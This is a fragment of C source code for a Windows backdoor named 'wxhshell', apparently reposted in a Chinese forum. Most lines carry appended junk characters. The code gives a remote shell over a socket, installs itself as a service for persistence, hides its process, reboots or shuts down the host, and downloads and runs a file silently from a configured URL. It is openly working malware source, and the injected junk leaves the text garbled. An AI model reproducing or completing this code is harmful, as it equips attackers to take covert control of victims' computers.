    switch(cmd[0]) { h"B+hu  
  6%\J"AgXO  
  // 帮助 \Gef \   
  case '?': { Y,qI@n<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hk;5w{t}}  
    break; v4a8}G  
  } +qN>.y!Y  
  // 安装 r5S[-`s;  
  case 'i': { '0;l]/i.  
    if(Install()) ^ox=HNV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j.[.1G*("  
    else zF`0J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Q/W~)~  
    break; F>Ah0U0  
    } _O)>$.^6  
  // 卸载 etQCzYIhn  
  case 'r': { udK%>  
    if(Uninstall()) X;+sUj8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xJpA0_xfG  
    else ?d\N(s9F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  \{_q.;}  
    break; RT4x\&q  
    } d"1]4.c  
  // 显示 wxhshell 所在路径 V5@:#BIs  
  case 'p': { J/`<!$<c  
    char svExeFile[MAX_PATH]; ^do9*YejX;  
    strcpy(svExeFile,"\n\r"); f#>,1,S  
      strcat(svExeFile,ExeFile); djl*H  
        send(wsh,svExeFile,strlen(svExeFile),0); #Qw0&kM7I  
    break; .fqN|[>  
    } c1(RuP:S  
  // 重启 .|KyNBn  
  case 'b': { BiLY(1,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kM l+yli3c  
    if(Boot(REBOOT)) G<z wv3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EmWn%eMN  
    else { AG nxYV"p  
    closesocket(wsh); vQG5*pR*w  
    ExitThread(0); @Rze| T.  
    } ;J( 8 L  
    break; 6xmZXp d!  
    } 3lL-)<0A(  
  // 关机 ]"As1"  
  case 'd': { [-1^-bb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @}u*|P*  
    if(Boot(SHUTDOWN)) dA}-]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x M/+L:_<  
    else { Ys9[5@7  
    closesocket(wsh); caR<Kb:;*  
    ExitThread(0); ,$L4dF3  
    } sjHE/qmq-Z  
    break; aH(J,XY  
    } ,Q$ q=E;X  
  // 获取shell ah$b [\#C  
  case 's': { un"Gozmt5  
    CmdShell(wsh); bn&TF3b  
    closesocket(wsh); "m$##X\  
    ExitThread(0); IZ-1c1   
    break; w>&aEv/f  
  } PCee<W_%YE  
  // 退出 / y40(l?  
  case 'x': { \[i1JG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .[KrlfI  
    CloseIt(wsh); 5X$jl;6  
    break; 1p3z1_wrs  
    } V*;(kEqj  
  // 离开 |-67 \p]  
  case 'q': { <]t%8GB2V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dm0R[[7  
    closesocket(wsh); yx8z4*]kH  
    WSACleanup(); wo{gG?B  
    exit(1); `:fZ)$sY  
    break; A1$TXr  
        } ] )\Pqn(  
  } \~mT] '5  
  } LKB$,pR~1l  
\;,+   
  // 提示信息 cGzPI +F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OX0%C.K)hZ  
} i v38p%Zm  
  } :uS\3toj  
:gibfk]C  
  return; &vMb_;~B  
} / &5,3rU.G  
r.&Vw|*>  
// shell模块句柄 [#vH'y  
int CmdShell(SOCKET sock) hp X9[3  
{ ZgcMv,=  
STARTUPINFO si; R$<&ie6UQ  
ZeroMemory(&si,sizeof(si)); ',@3>T**  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `:KY\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ykw*&opz  
PROCESS_INFORMATION ProcessInfo; ifQ*,+@fxR  
char cmdline[]="cmd"; Wq&if_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;?i W%:_,  
  return 0; %3-y[f  
} Np9<:GF1  
zrgk]n;Pq  
// 自身启动模式 N/2 T[s_&  
int StartFromService(void) dt]-,Y  
{ R4cM%l_#W  
typedef struct ~L\z8[<C  
{ _4So{~Gf1  
  DWORD ExitStatus; &i6mW8l  
  DWORD PebBaseAddress; n0 {i&[I~+  
  DWORD AffinityMask; 9wwqcx)3(  
  DWORD BasePriority; '[:D$q;  
  ULONG UniqueProcessId; ~rKrpb]ow  
  ULONG InheritedFromUniqueProcessId; L|xbR#v  
}   PROCESS_BASIC_INFORMATION; sY Qk  
%/.b~|,-  
PROCNTQSIP NtQueryInformationProcess; &%DY\*  
;bib/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8qTys8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %s|Ely)  
X`>i& I]  
  HANDLE             hProcess; E6ElNgL  
  PROCESS_BASIC_INFORMATION pbi; hx%v+/  
t\,PB{P:J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m}t`FsB.  
  if(NULL == hInst ) return 0; WX?IYQ+  
k$R-#f;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KwSqKI7]0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HCs?iJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $a"Oc   
a~}OZ&PG  
  if (!NtQueryInformationProcess) return 0; 1};Stai'  
9}<ile7^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zP8lN(LA  
  if(!hProcess) return 0; 5x4yyb'  
pJ"qu,w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ChPmX+.i_  
vMH  
  CloseHandle(hProcess); )'#A$ Fj  
WlC:l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f+,qNvBY/  
if(hProcess==NULL) return 0; [!#L6&:a8  
w-MCZwCr)  
HMODULE hMod; X51:  
char procName[255]; Fj3a.'  
unsigned long cbNeeded; /]Md~=yNp  
h2]P]@nW;W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >W+%8e  
!ons]^km  
  CloseHandle(hProcess); MaQqs=  
:>f )g  
if(strstr(procName,"services")) return 1; // 以服务启动 @,7GaK\  
FbFPJ !fb  
  return 0; // 注册表启动 37.S\ gO]  
} K;H&n1  
YfKdR"i+.  
// 主模块 8^+%I/S$  
int StartWxhshell(LPSTR lpCmdLine) qWPkT$ u  
{ rcG"o\g@+  
  SOCKET wsl; ,m|h<faZL  
BOOL val=TRUE; 'yEHI  
  int port=0; LYK"(C  
  struct sockaddr_in door; }!.(n=idZ  
e2oa($9  
  if(wscfg.ws_autoins) Install(); oY3;.;'bk  
fxHH;hRfv  
port=atoi(lpCmdLine); 0 ZKx<]!  
$Sip$\+*  
if(port<=0) port=wscfg.ws_port; LCKV>3+_#  
i3mcx)d@H  
  WSADATA data;  SRDp*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8dIgjQX|  
)}Kf=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Js?]$V"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yq\K)g*=  
  door.sin_family = AF_INET; Y)2,PES=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p]+Pkxz]'  
  door.sin_port = htons(port); >@_^fw)  
pO3SUOP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kn;"R:  
closesocket(wsl); rw JIx|(  
return 1; SZ'R59Ee<  
} flbd0NB  
$G@5qxcV  
  if(listen(wsl,2) == INVALID_SOCKET) { MKi0jwJM  
closesocket(wsl); 2uW; xfeY  
return 1; iz PDd{[  
} (iX+{a%"  
  Wxhshell(wsl); Y\8)OBZ  
  WSACleanup(); O m2d .7S  
?NsW|w_  
return 0; WP'!*[z  
kxhWq:[c  
} 0~/_|?]`7  
7[XRd9a5(  
// 以NT服务方式启动 +\ .Lp 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qe:seW  
{ :':s@gqr  
DWORD   status = 0; 9qzHS~l  
  DWORD   specificError = 0xfffffff; 0 /U{p,r6`  
Kis"L(C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6O!2P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i<Zc"v;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VjZ|$k  
  serviceStatus.dwWin32ExitCode     = 0; `b7t4d*  
  serviceStatus.dwServiceSpecificExitCode = 0; Iit; F  
  serviceStatus.dwCheckPoint       = 0; ?IT*: A] E  
  serviceStatus.dwWaitHint       = 0; . 3T3E X|G  
( ^Nz9{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R-d:j^:f  
  if (hServiceStatusHandle==0) return; o]oum,Q  
]&+s6{}  
status = GetLastError(); lq;P ch  
  if (status!=NO_ERROR) 8'io$ 6d=  
{ h MD|#A-<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c,+:i1IAy  
    serviceStatus.dwCheckPoint       = 0; 'I6i ,+D/q  
    serviceStatus.dwWaitHint       = 0; M%P:n/j  
    serviceStatus.dwWin32ExitCode     = status; )1`0PJoHE  
    serviceStatus.dwServiceSpecificExitCode = specificError; w_K1]<Q*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m~0/&RA  
    return; $B5aje}i  
  } r52gn(,  
6mxfLlZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -X2Buz8  
  serviceStatus.dwCheckPoint       = 0; 9EibIOD^/  
  serviceStatus.dwWaitHint       = 0; I:1C8*/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M-Y_ Wb3  
} !wh8'X*  
=MDys b&:  
// 处理NT服务事件,比如:启动、停止 ],Do6 @M-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P{ lB50  
{ sWnLEw  
switch(fdwControl) G3Aes TT|  
{ v;D~Pa  
case SERVICE_CONTROL_STOP: Y O}<Ytx  
  serviceStatus.dwWin32ExitCode = 0; /!XVHkX[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LBDjIpR6  
  serviceStatus.dwCheckPoint   = 0; HvJs1)Wo&  
  serviceStatus.dwWaitHint     = 0; _ *Pf  
  { +Q"4Migbe@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VQOezQs\  
  } >@ .  
  return; z[qDkL  
case SERVICE_CONTROL_PAUSE: 3 {sVVq5Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $Ri; ^pZw[  
  break; _ZSR.w}j/  
case SERVICE_CONTROL_CONTINUE: wgGl[_)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y\g3h M  
  break; pG;U2wE  
case SERVICE_CONTROL_INTERROGATE: 3"~!nn0;  
  break; |[b{)s?x  
}; ,UF_`|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kVLS  
} v_GUNRs  
e^1Twz3z  
// 标准应用程序主函数 gT6jYQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O k=hT|}Y  
{ 5M*:}*  
bq0zxg%  
// 获取操作系统版本 Vp@?^imL  
OsIsNt=GetOsVer(); JYHl,HH#z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }`m/bgtFX  
Ao&"r[oJSv  
  // 从命令行安装 YNsJZnGr8#  
  if(strpbrk(lpCmdLine,"iI")) Install(); oj+hQ+>  
hZt!/?dc  
  // 下载执行文件 Bh-ym8D  
if(wscfg.ws_downexe) { :& ."ttf=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8[{ Vu0R  
  WinExec(wscfg.ws_filenam,SW_HIDE); @GW #&\yM  
} g}(L;fy>7  
!%%6dB@%t  
if(!OsIsNt) { Se =`N  
// 如果时win9x,隐藏进程并且设置为注册表启动 *VxgARIL  
HideProc(); i?^L/b`H  
StartWxhshell(lpCmdLine); T{[=oH+  
} WCixKYq  
else ] >E s4 s  
  if(StartFromService()) <frutU16\  
  // 以服务方式启动 ; kI134i=  
  StartServiceCtrlDispatcher(DispatchTable); ge8ZsaiU  
else amY!qg0P*  
  // 普通方式启动 {&1/V  
  StartWxhshell(lpCmdLine); 6i3$CW  
gp.^~p]x  
return 0; ?m"( S oh  
}
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只看该作者 1 发表于: 2006-10-10
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